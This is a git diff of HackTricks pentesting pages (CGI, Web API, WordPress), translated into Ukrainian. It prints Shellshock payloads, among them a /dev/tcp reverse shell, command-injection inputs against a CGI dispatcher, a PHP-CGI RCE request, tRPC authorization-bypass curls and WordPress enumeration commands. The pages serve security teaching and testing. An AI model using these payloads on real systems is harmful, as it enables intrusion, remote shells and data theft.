mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres
This commit is contained in:
parent
42d0fe93af
commit
5c747da290
Binary file not shown.
Before Width: | Height: | Size: 6.5 KiB |
BIN
src/images/k8studio.png
Normal file
BIN
src/images/k8studio.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 87 KiB |
File diff suppressed because it is too large
Load Diff
@ -5,26 +5,26 @@
|
||||
|
||||
## Інформація
|
||||
|
||||
The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **change the extension** from **.pl** to **.cgi**, give **execute permissions** \(`chmod +x`\) and **access** the reverse shell **from the web browser** to execute it.
|
||||
In order to test for **CGI vulns** it's recommended to use `nikto -C all` \(and all the plugins\)
|
||||
The **CGI скрипти — perl-скрипти**, тож, якщо ви скомпрометували сервер, який може виконувати _**.cgi**_ скрипти, ви можете **завантажити perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **змінити розширення** з **.pl** на **.cgi**, надати **права на виконання** \(`chmod +x`\) та **доступитися** до reverse shell **через веб-браузер**, щоб його виконати.
|
||||
Щоб перевіряти на **CGI vulns**, рекомендовано використовувати `nikto -C all` \(і всі плагіни\)
|
||||
|
||||
## **ShellShock**
|
||||
|
||||
**ShellShock** — це вразливість, яка впливає на широко вживаний інтерпретатор командного рядка **Bash** у Unix-подібних операційних системах. Вона експлуатує здатність Bash виконувати команди, передані додатками. Вразливість полягає в маніпуляції **змінними середовища**, які є динамічними іменованими значеннями, що впливають на виконання процесів на комп'ютері. Атакувальники можуть прикріплювати до змінних середовища **шкідливий код**, який буде виконано при отриманні цієї змінної. Це дозволяє потенційно скомпрометувати систему.
|
||||
**ShellShock** — це **вразливість**, яка впливає на широко використовувану командну оболонку **Bash** в Unix-подібних операційних системах. Вона націлена на здатність Bash виконувати команди, передані додатками. Уразливість полягає в маніпуляції **environment variables**, які є динамічними іменованими значеннями, що впливають на те, як процеси виконуються на комп'ютері. Атакуючі можуть експлуатувати це, додаючи **malicious code** до environment variables, яке виконується при отриманні змінної. Це дозволяє зловмисникам потенційно скомпрометувати систему.
|
||||
|
||||
Експлуатація цієї вразливості може призвести до того, що **сторінка видасть помилку**.
|
||||
Експлуатуючи цю вразливість **сторінка може викидати помилку**.
|
||||
|
||||
Ви можете виявити цю вразливість, помітивши, що використовується стара версія **Apache** і **cgi_mod** (з папкою cgi) або за допомогою **nikto**.
|
||||
Ви можете **знайти** цю вразливість, помітивши, що використовується **old Apache version** та **cgi_mod** \(з папкою cgi\) або використавши **nikto**.
|
||||
|
||||
### **Тест**
|
||||
### **Test**
|
||||
|
||||
Більшість тестів ґрунтуються на використанні `echo` для виведення певного рядка і очікуванні, що цей рядок буде повернутий у веб-відповіді. Якщо ви вважаєте, що сторінка може бути вразливою, знайдіть усі cgi-сторінки та протестуйте їх.
|
||||
Більшість тестів базуються на виведенні певного рядка (echo ...) і очікуванні, що цей рядок повернеться у веб-відповіді. Якщо ви вважаєте, що сторінка може бути вразливою, знайдіть усі cgi-сторінки і протестуйте їх.
|
||||
|
||||
**Nmap**
|
||||
```bash
|
||||
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
|
||||
```
|
||||
## **Curl \(reflected, blind та out-of-band\)**
|
||||
## **Curl \(відображений, сліпий та out-of-band\)**
|
||||
```bash
|
||||
# Reflected
|
||||
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
|
||||
@ -51,15 +51,15 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
|
||||
> set rhosts 10.1.2.11
|
||||
> run
|
||||
```
|
||||
## Центральізовані CGI диспетчери (маршрутизація на один endpoint через селектор-параметри)
|
||||
## Централізовані CGI-диспетчери (маршрутизація одного endpoint через селекторні параметри)
|
||||
|
||||
Багато вбудованих веб-інтерфейсів мультиплексують десятки привілейованих дій за одним CGI endpoint (наприклад, `/cgi-bin/cstecgi.cgi`) і використовують селектор-параметр, такий як `topicurl=<handler>`, щоб скеровувати запит до внутрішньої функції.
|
||||
Багато вбудованих веб-інтерфейсів мультиплексують десятки привілейованих дій за одним CGI endpoint (наприклад, `/cgi-bin/cstecgi.cgi`) і використовують селекторний параметр, наприклад `topicurl=<handler>`, щоб спрямувати запит до внутрішньої функції.
|
||||
|
||||
Методика експлуатації цих маршрутизаторів:
|
||||
Методика експлуатації таких маршрутизаторів:
|
||||
|
||||
- Перелічити імена handlers: scrape JS/HTML, brute-force з wordlists, або розпаковувати firmware і grep для рядків handler, які використовує dispatcher.
|
||||
- Перевірити доступність без автентифікації: деякі handlers пропускають auth checks і доступні напряму.
|
||||
- Зосередитись на handlers, які викликають system utilities або торкаються файлів; слабкі validators часто блокують лише кілька символів і можуть пропустити провідний дефіс `-`.
|
||||
- Enumerate handler names: скрейпте JS/HTML, brute-force with wordlists, або розпаковуйте firmware і використовуйте grep для рядків handler, що застосовуються dispatcher'ом.
|
||||
- Test unauthenticated reachability: деякі handlers пропускають auth checks і доступні безпосередньо.
|
||||
- Focus on handlers that invoke system utilities or touch files; слабкі валідатори часто блокують лише кілька символів і можуть пропустити ведучий дефіс `-`.
|
||||
|
||||
Generic exploit shapes:
|
||||
```http
|
||||
@ -75,29 +75,29 @@ topicurl=setEasyMeshAgentCfg&agentName=;id;
|
||||
# 3) Validator bypass → arbitrary file write in file-touching handlers
|
||||
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
|
||||
```
|
||||
Виявлення та посилення захисту:
|
||||
Виявлення та підвищення безпеки:
|
||||
|
||||
- Слідкуйте за неаутентифікованими запитами до централізованих CGI endpoints з `topicurl`, встановленим на чутливі обробники.
|
||||
- Позначайте параметри, що починаються з `-` (спроби argv option injection).
|
||||
- Vendors: вимагайте аутентифікацію для всіх обробників, що змінюють стан, валідуйте за строгими allowlists/types/lengths, і ніколи не передавайте керовані користувачем рядки як параметри командного рядка.
|
||||
- Слідкуйте за неавторизованими запитами до централізованих CGI-ендпойнтів із `topicurl`, встановленим на чутливі обробники.
|
||||
- Позначайте параметри, що починаються з `-` (спроби інʼєкції опцій argv).
|
||||
- Вендори: впроваджуйте автентифікацію для всіх обробників, що змінюють стан; валідуйте за суворими allowlists/types/lengths; і ніколи не передавайте керовані користувачем рядки як command-line flags.
|
||||
|
||||
## Старий PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
|
||||
## Old PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
|
||||
|
||||
В основному, якщо cgi активний і php є "старим" \(<5.3.12 / < 5.4.2\) ви можете виконувати код.
|
||||
Щоб експлуатувати цю вразливість, потрібно отримати доступ до деякого PHP файлу веб-сервера без передачі параметрів \(особливо без передачі символу "="\).
|
||||
Тоді, щоб протестувати цю вразливість, ви можете, наприклад, звернутися до `/index.php?-s` \(зверніть увагу на `-s`\) і **вихідний код застосунку з'явиться у відповіді**.
|
||||
По суті, якщо CGI активний і PHP "старий" \(<5.3.12 / < 5.4.2\), ви можете виконати код.
|
||||
Щоб експлуатувати цю вразливість, потрібно отримати доступ до якогось PHP-файлу вебсерверу без відправлення параметрів \(особливо без відправлення символу "="\).
|
||||
Потім, щоб перевірити цю вразливість, можна звернутися, наприклад, до `/index.php?-s` \(зверніть увагу на `-s`\) і **вихідний код додатка з'явиться у відповіді**.
|
||||
|
||||
Потім, щоб отримати **RCE**, ви можете надіслати цей спеціальний запит: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` і **PHP code** має бути виконаний у **тілі запиту. Приклад:**
|
||||
Далі, щоб отримати **RCE**, можна надіслати цей спеціальний запит: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` і **PHP-код** буде виконано в **тілі запиту. Приклад:**
|
||||
```bash
|
||||
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
|
||||
```
|
||||
**Більше інформації про vuln та можливі exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
|
||||
**Більше інформації про вразливість та можливі експлойти:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
|
||||
|
||||
## **Proxy \(MitM до запитів Web server\)**
|
||||
## **Проксі \(MitM для запитів до веб-сервера\)**
|
||||
|
||||
CGI створює змінну середовища для кожного header у HTTP request. Наприклад: "host:web.com" створюється як "HTTP_HOST"="web.com"
|
||||
CGI створює змінну середовища для кожного заголовка в http-запиті. Наприклад: "host:web.com" створюється як "HTTP_HOST"="web.com"
|
||||
|
||||
Оскільки змінна HTTP_PROXY може використовуватися web server. Спробуйте надіслати **header**, що містить: "**Proxy: <IP_attacker>:<PORT>**" і якщо сервер виконуватиме будь-які запити під час сесії, ви зможете перехопити кожен запит, який робить сервер.
|
||||
Оскільки змінна HTTP_PROXY може використовуватися веб-сервером, спробуйте надіслати **header**, що містить: "**Proxy: <IP_attacker>:<PORT>**", і якщо сервер виконає будь-які запити під час сесії, ви зможете перехопити кожен запит, зроблений сервером.
|
||||
|
||||
## **Посилання**
|
||||
|
||||
|
@ -1,55 +1,97 @@
|
||||
# Web API Pentesting
|
||||
# Веб-API Pentesting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Pentesting Methodology Summary
|
||||
## API Pentesting — короткий огляд методології
|
||||
|
||||
Pentesting APIs передбачає структурований підхід до виявлення вразливостей. Цей посібник охоплює всебічну методологію, підкреслюючи практичні техніки та інструменти.
|
||||
Pentesting API вимагає структурованого підходу для виявлення вразливостей. Цей посібник узагальнює всебічну методологію, акцентуючи на практичних техніках та інструментах.
|
||||
|
||||
### **Understanding API Types**
|
||||
### **Розуміння типів API**
|
||||
|
||||
- **SOAP/XML Web Services**: Використовують формат WSDL для документації, зазвичай знаходиться за шляхами `?wsdl`. Інструменти, такі як **SOAPUI** та **WSDLer** (розширення Burp Suite), є важливими для парсингу та генерації запитів. Приклад документації доступний на [DNE Online](http://www.dneonline.com/calculator.asmx).
|
||||
- **REST APIs (JSON)**: Документація часто надається у файлах WADL, проте інструменти, такі як [Swagger UI](https://swagger.io/tools/swagger-ui/), забезпечують більш зручний інтерфейс для взаємодії. **Postman** є цінним інструментом для створення та управління прикладами запитів.
|
||||
- **GraphQL**: Мова запитів для API, що пропонує повний та зрозумілий опис даних у вашому API.
|
||||
- **SOAP/XML Web Services**: використовують формат WSDL для документації, зазвичай доступний за шляхами `?wsdl`. Інструменти як **SOAPUI** та **WSDLer** (Burp Suite Extension) корисні для парсингу та генерації запитів. Приклад документації доступний на [DNE Online](http://www.dneonline.com/calculator.asmx).
|
||||
- **REST APIs (JSON)**: документація часто постає у вигляді WADL-файлів, але інструменти як [Swagger UI](https://swagger.io/tools/swagger-ui/) надають зручніший інтерфейс для взаємодії. **Postman** — цінний інструмент для створення та керування прикладами запитів.
|
||||
- **GraphQL**: мова запитів для API, яка надає повний і зрозумілий опис даних у вашому API.
|
||||
|
||||
### **Practice Labs**
|
||||
### **Практичні стенди**
|
||||
|
||||
- [**VAmPI**](https://github.com/erev0s/VAmPI): Навмисно вразливий API для практики, що охоплює 10 найкращих вразливостей API за версією OWASP.
|
||||
- [**VAmPI**](https://github.com/erev0s/VAmPI): навмисно вразливий API для практики, охоплює OWASP top 10 API vulnerabilities.
|
||||
|
||||
### **Effective Tricks for API Pentesting**
|
||||
### **Ефективні трюки для API Pentesting**
|
||||
|
||||
- **SOAP/XML Vulnerabilities**: Досліджуйте вразливості XXE, хоча оголошення DTD часто обмежені. Теги CDATA можуть дозволити вставку корисного навантаження, якщо XML залишається дійсним.
|
||||
- **Privilege Escalation**: Тестуйте кінцеві точки з різними рівнями привілеїв, щоб виявити можливості несанкціонованого доступу.
|
||||
- **CORS Misconfigurations**: Досліджуйте налаштування CORS на предмет потенційної експлуатації через CSRF-атаки з автентифікованих сесій.
|
||||
- **Endpoint Discovery**: Використовуйте шаблони API для виявлення прихованих кінцевих точок. Інструменти, такі як фуззери, можуть автоматизувати цей процес.
|
||||
- **Parameter Tampering**: Експериментуйте з додаванням або заміною параметрів у запитах для доступу до несанкціонованих даних або функціональностей.
|
||||
- **HTTP Method Testing**: Варіюйте методи запитів (GET, POST, PUT, DELETE, PATCH), щоб виявити несподівану поведінку або розкриття інформації.
|
||||
- **Content-Type Manipulation**: Перемикайтеся між різними типами вмісту (x-www-form-urlencoded, application/xml, application/json), щоб перевірити наявність проблем з парсингом або вразливостей.
|
||||
- **Advanced Parameter Techniques**: Тестуйте з несподіваними типами даних у JSON-навантаженнях або грайте з XML-даними для XXE-ін'єкцій. Також спробуйте забруднення параметрів і символи підстановки для більш широкого тестування.
|
||||
- **Version Testing**: Старі версії API можуть бути більш вразливими до атак. Завжди перевіряйте та тестуйте проти кількох версій API.
|
||||
- **SOAP/XML Vulnerabilities**: перевіряйте XXE, хоча декларації DTD часто відключені. Теги CDATA можуть дозволити вставку payload, якщо XML залишається валідним.
|
||||
- **Privilege Escalation**: тестуйте ендпоінти з різними рівнями привілеїв, щоб виявити можливості несанкціонованого доступу.
|
||||
- **CORS Misconfigurations**: досліджуйте налаштування CORS на предмет можливого експлуатування через CSRF із сесій, що вже автентифіковані.
|
||||
- **Endpoint Discovery**: використовуйте патерни API для виявлення прихованих ендпоінтів. Інструменти-фаззери можуть автоматизувати цей процес.
|
||||
- **Parameter Tampering**: експериментуйте з додаванням або заміною параметрів у запитах, щоб отримати неавторизований доступ до даних або функціональностей.
|
||||
- **HTTP Method Testing**: змінюйте методи запитів (GET, POST, PUT, DELETE, PATCH) щоб знайти несподівану поведінку або витоки інформації.
|
||||
- **Content-Type Manipulation**: перемикайтеся між різними content-type (x-www-form-urlencoded, application/xml, application/json) щоб перевірити проблеми парсингу або вразливості.
|
||||
- **Advanced Parameter Techniques**: тестуйте несподівані типи даних в JSON-пейлоадах або експериментуйте з XML для XXE-ін’єкцій. Також пробуйте parameter pollution та wildcard-символи для ширшого охоплення тестів.
|
||||
- **Version Testing**: старі версії API можуть бути більш вразливими. Завжди перевіряйте і тестуйте кілька версій API.
|
||||
|
||||
### **Tools and Resources for API Pentesting**
|
||||
### Авторизація та бізнес-логіка (AuthN != AuthZ) — підводні камені tRPC/Zod protectedProcedure
|
||||
|
||||
- [**kiterunner**](https://github.com/assetnote/kiterunner): Чудово підходить для виявлення кінцевих точок API. Використовуйте його для сканування та брутфорсингу шляхів і параметрів проти цільових API.
|
||||
Сучасні TypeScript-стеки часто використовують tRPC разом із Zod для валідації вводу. У tRPC `protectedProcedure` зазвичай гарантує наявність валідної сесії (authentication), але не означає, що виконавець має потрібну роль/дозволи (authorization). Така невідповідність призводить до Broken Function Level Authorization/BOLA, якщо чутливі процедури захищені лише через `protectedProcedure`.
|
||||
|
||||
- Модель загрози: будь-який користувач з низькими привілеями та автентифікацією може викликати процедури рівня адміністратора, якщо відсутні перевірки ролей/дозволів (наприклад, background migrations, feature flags, tenant-wide maintenance, job control).
|
||||
- Чорнокоробковий сигнал: ендпоінти `POST /api/trpc/<router>.<procedure>` які працюють для базових акаунтів, тоді як вони повинні бути доступні лише адміністраторам. Self-serve signups значно підвищують можливість експлуатації.
|
||||
- Типова форма маршруту tRPC (v10+): JSON-тіло загорнуте під `{"input": {...}}`.
|
||||
|
||||
Example vulnerable pattern (no role/permission gate):
|
||||
```ts
|
||||
// The endpoint for retrying a migration job
|
||||
// This checks for a valid session (authentication)
|
||||
retry: protectedProcedure
|
||||
// but not for an admin role (authorization).
|
||||
.input(z.object({ name: z.string() }))
|
||||
.mutation(async ({ input, ctx }) => {
|
||||
// Logic to restart a sensitive migration
|
||||
}),
|
||||
```
|
||||
Практична експлуатація (black-box)
|
||||
|
||||
1) Зареєструйте звичайний акаунт та отримайте автентифіковану сесію (cookies/headers).
|
||||
2) Перелічте background jobs або інші чутливі ресурси через процедури “list”/“all”/“status”.
|
||||
```bash
|
||||
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.all' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-b '<AUTH_COOKIES>' \
|
||||
--data '{"input":{}}'
|
||||
```
|
||||
3) Викликати привілейовані дії, такі як перезапуск завдання:
|
||||
```bash
|
||||
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.retry' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-b '<AUTH_COOKIES>' \
|
||||
--data '{"input":{"name":"<migration_name>"}}'
|
||||
```
|
||||
Вплив для оцінки
|
||||
|
||||
- Пошкодження даних через неідемпотентні перезапуски: примусовий одночасний запуск міграцій/воркерів може створити умови гонки та неконсистентні часткові стани (прихована втрата даних, зламані аналітичні звіти).
|
||||
- DoS via worker/DB starvation: повторне ініціювання важких завдань може вичерпати пул воркерів і з'єднання з базою даних, спричиняючи відмови, що охоплюють усіх орендарів.
|
||||
|
||||
### **Інструменти та ресурси для API Pentesting**
|
||||
|
||||
- [**kiterunner**](https://github.com/assetnote/kiterunner): Відмінний для виявлення API endpoints. Використовуйте його для сканування та brute force шляхів і параметрів проти цільових API.
|
||||
```bash
|
||||
kr scan https://domain.com/api/ -w routes-large.kite -x 20
|
||||
kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
|
||||
kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
|
||||
kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
|
||||
```
|
||||
- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj - це інструмент командного рядка, призначений для допомоги в аудиті **викритих файлів визначення Swagger/OpenAPI**, перевіряючи відповідні API кінцеві точки на наявність слабкої аутентифікації. Він також надає шаблони команд для ручного тестування вразливостей.
|
||||
- Додаткові інструменти, такі як **automatic-api-attack-tool**, **Astra** та **restler-fuzzer**, пропонують спеціалізовані функції для тестування безпеки API, починаючи від симуляції атак до фуззингу та сканування вразливостей.
|
||||
- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): Це інструмент безпеки API, який проводить аудит вашого API на основі файлу OAS (інструмент написаний на Rust).
|
||||
- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj — це command line tool, призначений, щоб допомогти з auditing **exposed Swagger/OpenAPI definition files** шляхом перевірки пов'язаних API endpoints на наявність weak authentication. Також надає command templates для manual vulnerability testing.
|
||||
- Додаткові інструменти, такі як **automatic-api-attack-tool**, **Astra** та **restler-fuzzer**, пропонують спеціалізовані функції для API security testing, від attack simulation до fuzzing та vulnerability scanning.
|
||||
- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): Це API security tool, який проводить аудит вашого API на основі OAS file (інструмент написаний на rust).
|
||||
|
||||
### **Ресурси для навчання та практики**
|
||||
|
||||
- **OWASP API Security Top 10**: Основне читання для розуміння поширених вразливостей API ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
|
||||
- **API Security Checklist**: Всеосяжний контрольний список для забезпечення безпеки API ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)).
|
||||
- **Logger++ Filters**: Для пошуку вразливостей API, Logger++ пропонує корисні фільтри ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
|
||||
- **API Endpoints List**: Кураторський список потенційних API кінцевих точок для тестування ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
|
||||
- **OWASP API Security Top 10**: Обов'язкове читання для розуміння common API vulnerabilities ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
|
||||
- **API Security Checklist**: Всебічний checklist для захисту API ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)).
|
||||
- **Logger++ Filters**: Для пошуку API vulnerabilities, Logger++ пропонує корисні filters ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
|
||||
- **API Endpoints List**: Курована list потенційних API endpoints для testing purposes ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
|
||||
|
||||
## Посилання
|
||||
|
||||
- [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire)
|
||||
- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,49 +4,49 @@
|
||||
|
||||
## Основна інформація
|
||||
|
||||
- **Uploaded** файли потрапляють у: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Themes files can be found in /wp-content/themes/,** тому якщо ви зміните якийсь php теми, щоб отримати RCE, ви, ймовірно, будете використовувати цей шлях. Наприклад: використовуючи **theme twentytwelve** ви можете отримати доступ до файлу **404.php** за адресою: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Uploaded** файли зберігаються у: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Файли тем можна знайти в /wp-content/themes/,** тож якщо ви зміните якийсь php у темі, щоб отримати RCE, ви, ймовірно, будете використовувати цей шлях. Наприклад: використовуючи **theme twentytwelve** ви можете отримати доступ до файлу **404.php** за адресою: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Ще одна корисна url-адреса може бути:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- У **wp-config.php** можна знайти root-пароль бази даних.
|
||||
- Шляхи для входу за замовчуванням, які варто перевірити: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
- Типові шляхи входу для перевірки: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **Main WordPress Files**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` містить корисну інформацію, наприклад версію встановленого WordPress.
|
||||
- `wp-activate.php` використовується для процесу активації через email при налаштуванні нового сайту WordPress.
|
||||
- Папки для логіну (можуть бути перейменовані для приховування):
|
||||
- `wp-activate.php` використовується для процесу активації по email під час налаштування нового сайту WordPress.
|
||||
- Папки входу (можуть бути перейменовані, щоб сховати):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` — файл, який реалізує функцію WordPress, що дозволяє передавати дані з використанням HTTP як транспортного механізму та XML як механізму кодування. Цей тип комунікації був замінений WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- Папка `wp-content` — це головний каталог, де зберігаються плагіни та теми.
|
||||
- `wp-content/uploads/` — каталог, куди зберігаються всі файли, завантажені на платформу.
|
||||
- `xmlrpc.php` — файл, що реалізує функцію WordPress для передачі даних з HTTP як транспортом та XML як механізмом кодування. Цей тип комунікації був замінений WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- Папка `wp-content` — головний каталог, де зберігаються plugins і themes.
|
||||
- `wp-content/uploads/` — каталог, куди зберігаються файли, завантажені на платформу.
|
||||
- `wp-includes/` — каталог, де зберігаються основні файли, такі як сертифікати, шрифти, JavaScript-файли та віджети.
|
||||
- `wp-sitemap.xml` У WordPress версіях 5.5 і вище, WordPress генерує sitemap XML файл з усіма публічними постами та публічно доступними типами записів і таксономіями.
|
||||
- `wp-sitemap.xml` У версіях WordPress 5.5 і вище WordPress генерує sitemap XML файл зі всіма публічними записами та публічно доступними типами записів і таксономіями.
|
||||
|
||||
**Post exploitation**
|
||||
|
||||
- Файл `wp-config.php` містить інформацію, необхідну WordPress для підключення до бази даних, таку як назва бази даних, хост бази даних, ім'я користувача та пароль, authentication keys and salts, та префікс таблиць бази даних. Цей конфігураційний файл також можна використовувати для активації DEBUG режиму, що може бути корисним при усуненні несправностей.
|
||||
- Файл `wp-config.php` містить інформацію, необхідну WordPress для підключення до бази даних, таку як назва бази даних, хост бази даних, ім'я користувача і пароль, authentication keys and salts, та префікс таблиць бази даних. Цей конфігураційний файл також можна використовувати для активації DEBUG-режиму, що може бути корисним при усуненні несправностей.
|
||||
|
||||
### Права користувачів
|
||||
|
||||
- **Administrator**
|
||||
- **Editor**: Публікує та керує своїми й чужими публікаціями
|
||||
- **Author**: Публікує та керує власними публікаціями
|
||||
- **Contributor**: Пише та керує своїми публікаціями, але не може їх публікувати
|
||||
- **Subscriber**: Переглядає пости та редагує свій профіль
|
||||
- **Editor**: Публікує та керує своїми й чужими записами
|
||||
- **Author**: Публікує і керує своїми записами
|
||||
- **Contributor**: Пише і керує своїми записами, але не може їх публікувати
|
||||
- **Subscriber**: Переглядає записи і редагує свій профіль
|
||||
|
||||
## **Passive Enumeration**
|
||||
|
||||
### **Get WordPress version**
|
||||
|
||||
Перевірте, чи можете знайти файли `/license.txt` або `/readme.html`
|
||||
Перевірте, чи можна знайти файли `/license.txt` або `/readme.html`
|
||||
|
||||
У **вихідному коді** сторінки (приклад з [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
У **вихідному коді** сторінки (приклад з [https://wordpress.org/support/article/pages/]):
|
||||
|
||||
- grep
|
||||
```bash
|
||||
@ -56,11 +56,11 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
|
||||
.png>)
|
||||
|
||||
- Файли підключення CSS
|
||||
- CSS link файли
|
||||
|
||||
.png>)
|
||||
|
||||
- Файли JavaScript
|
||||
- JavaScript файли
|
||||
|
||||
.png>)
|
||||
|
||||
@ -68,20 +68,20 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### Отримання тем
|
||||
### Отримати теми
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### Загальне отримання версій
|
||||
### Отримання версій загалом
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
|
||||
```
|
||||
## Активне перерахування
|
||||
|
||||
### Плагіни та Теми
|
||||
### Plugins and Themes
|
||||
|
||||
Ви, ймовірно, не зможете знайти всі плагіни та теми, які можуть бути присутні. Щоб виявити їх усі, потрібно **активно Brute Force список плагінів та тем** (на щастя, існують автоматизовані інструменти, що містять ці списки).
|
||||
Імовірно, ви не зможете знайти всі доступні Plugins and Themes. Щоб виявити їх усі, вам потрібно буде **actively Brute Force a list of Plugins and Themes** (на щастя, існують автоматизовані інструменти, які містять ці списки).
|
||||
|
||||
### Користувачі
|
||||
|
||||
@ -89,27 +89,27 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
Якщо відповіді — **200** або **30X**, це означає, що id — **валідний**. Якщо відповідь — **400**, то id — **невалідний**.
|
||||
Якщо відповіді — **200** або **30X**, це означає, що id є **дійсним**. Якщо відповідь — **400**, то id є **недійсним**.
|
||||
|
||||
- **wp-json:** Ви також можете спробувати отримати інформацію про користувачів, зробивши запит:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
Ще один endpoint `/wp-json/`, який може розкрити деяку інформацію про користувачів:
|
||||
Ще один `/wp-json/` endpoint, який може виявити деяку інформацію про користувачів:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Note that this endpoint only exposes users that have made a post. **Інформація буде надана лише про користувачів, у яких ця функція увімкнена**.
|
||||
Note that this endpoint only exposes users that have made a post. **Будуть надані лише дані про користувачів, у яких ця функція увімкнена**.
|
||||
|
||||
Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
|
||||
|
||||
- **Login username enumeration**: під час входу через **`/wp-login.php`** **повідомлення** **відрізняється** і вказує, **чи існує ім'я користувача чи ні**.
|
||||
